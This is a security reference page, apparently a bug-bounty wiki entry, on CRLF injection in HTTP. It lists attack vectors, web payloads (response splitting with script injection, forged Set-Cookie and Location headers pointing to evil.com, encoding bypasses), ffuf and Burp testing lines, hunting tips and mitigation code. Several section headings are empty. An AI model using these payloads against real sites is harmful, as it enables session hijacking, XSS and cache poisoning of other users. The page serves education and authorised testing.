CRLF Injection¶
Overview¶
CRLF injection exploits improper handling of carriage return (\r, %0d) and line feed (\n, %0a) characters to inject arbitrary headers or content into HTTP responses.
Impact: XSS, cache poisoning, session fixation, open redirect, HTTP response splitting
Attack Vectors¶
1. HTTP Response Splitting¶
GET /redirect?url=https://evil.com%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>
2. Header Injection¶
# Set-Cookie injection
/profile?name=victim%0d%0aSet-Cookie:%20admin=true
# Location header manipulation
/redirect?url=/%0d%0aLocation:%20https://evil.com
3. Log Injection¶
4. Email Header Injection¶
Payloads¶
Basic CRLF¶
Double Encoding¶
Unicode Encoding¶
Mixed Encodings¶
%0aContent-Length: 0%0d%0a%0d%0aHTTP/1.1 200 OK
\rSet-Cookie: session=hijacked\n
%E5%98%8D%E5%98%8ALocation: https://evil.com
Bypasses¶
# Space variations
%20%0d%0a
%09%0d%0a
# Null byte + CRLF
%00%0d%0a
# UTF-8 overlong encoding
%c0%8a (LF)
%c0%8d (CR)
# Case variations (some parsers)
%0D%0a
%0d%0A
Detection¶
Manual Testing:
- Inject
%0d%0ain all user inputs (URL params, headers, cookies, POST data) - Check response headers for injected content
- Test with browser DevTools Network tab
- Look for split responses or injected headers
Automated:
# Burp Intruder payloads
%0d%0aSet-Cookie: test=1
%0aLocation: https://evil.com
\r\nX-Injected: true
# FFUF
ffuf -u https://target.com/redirect?url=FUZZ -w crlf.txt -mc 200,302 -mr "Set-Cookie|Location"
Tools:
- Burp Suite (Collaborator for OOB)
- OWASP ZAP
- CRLFuzz
crlfmap(custom scripts)
Exploitation¶
XSS via Response Splitting¶
GET /page?param=value%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(document.domain)</script>
Cache Poisoning¶
Response cached with injected header → serves to other users.
Session Fixation¶
Open Redirect Bypass¶
# Original: /redirect?url=https://trusted.com
/redirect?url=https://trusted.com%0d%0aLocation:%20https://evil.com
Mitigation¶
Input Validation:
# Python example
import re
def sanitize_input(user_input):
# Remove CRLF characters
return re.sub(r'[\r\n]', '', user_input)
# Better: use URL encoding library
from urllib.parse import quote
safe_url = quote(user_input, safe='')
Framework-level:
# Django - automatic escaping
from django.utils.http import url_has_allowed_host_and_scheme
# Flask - use built-in redirect validation
from flask import redirect, url_for
return redirect(url_for('safe_endpoint'))
# Express.js
app.use((req, res, next) => {
for (let key in req.query) {
req.query[key] = req.query[key].replace(/[\r\n]/g, '');
}
next();
});
Output Encoding:
- Encode user input before including in HTTP headers
- Use framework's built-in redirect functions
- Validate redirect URLs against whitelist
Real-World Examples¶
Twitter (2014)¶
- CRLF injection in URL shortener
- Allowed arbitrary header injection
- $5,000 bounty
Shopify (2016)¶
- Session fixation via CRLF
- $500 bounty
PayPal¶
- Open redirect bypass
- Critical severity
Hunting Tips¶
- Target Redirect Parameters:
?url=,?next=,?redirect=,?return= - Test All Input Vectors: Headers, cookies, POST data, JSON fields
- Check Error Messages: Some apps leak CRLF in error responses
- Look for Log Files: Admin panels that display logs
- Test Email Forms: Contact forms, password resets
- Cache Layers: CDNs may cache poisoned responses
- Encoding Bypasses: Try double/triple encoding if filtered
References¶
Severity: Medium to High (depending on exploitation)
CVSS: 6.1 - 8.1 (with XSS/cache poisoning)
CWE: CWE-93 (Improper Neutralization of CRLF Sequences)